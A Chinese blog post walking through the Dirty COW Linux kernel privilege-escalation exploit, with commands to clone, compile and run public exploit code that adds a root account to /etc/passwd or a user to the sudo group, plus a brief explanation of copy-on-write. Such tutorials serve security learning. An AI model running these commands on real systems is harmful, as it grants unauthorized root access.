0
点赞
收藏
分享

微信扫一扫

脏牛实现linux提权

Sky飞羽 2022-02-12 阅读 124

 提权测试

git@gitee.com:yu_shaonian/dirtycow.git

先进行编译操作

gcc -pthread dirty.c -o dirty -lcrypt

然后执行文件

只需要输入密码即可,对应的账户名是firefart

 ./dirty my-new-password

对密码进行还原

mv /tmp/passwd.bak /etc/passwd
之前会先对系统的密码进行备份到当前文件夹下生成.bak的文件

然后我们进行测试

su firefart or ssh firefart@...

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。

Ubuntu 14.04 :

1)添加用户:

sudo adduser test 

输入两次密码后一直回车就行,查看当前用户的信息,终端输入 id,回车,可以看到当 前用户是有 sudo 权限的。

切换到刚刚新建的 test 用户,同样输入 id,查看 test 用户的信息,发现 test 用户没有 sudo 权限。

2)运行DirtyCow的exp进行提权:

git clone https://github.com/dirtycow/dirtycow.github.io

cd dirtycow.github.io

编译exp:

gcc dirtyc0w.c -o dirtycow lpthread

执行exp:

./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)”

新打开一个终端,切换到test,查看test用户信息,可以看到test用户已经拥有了sudo权限,执行sudo su ,输入test用户的密码后就可以切换到root权限,提权成功。

漏洞成因:

Linux写时拷贝技术(copy-on-write)

在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。

举报

相关推荐

0 条评论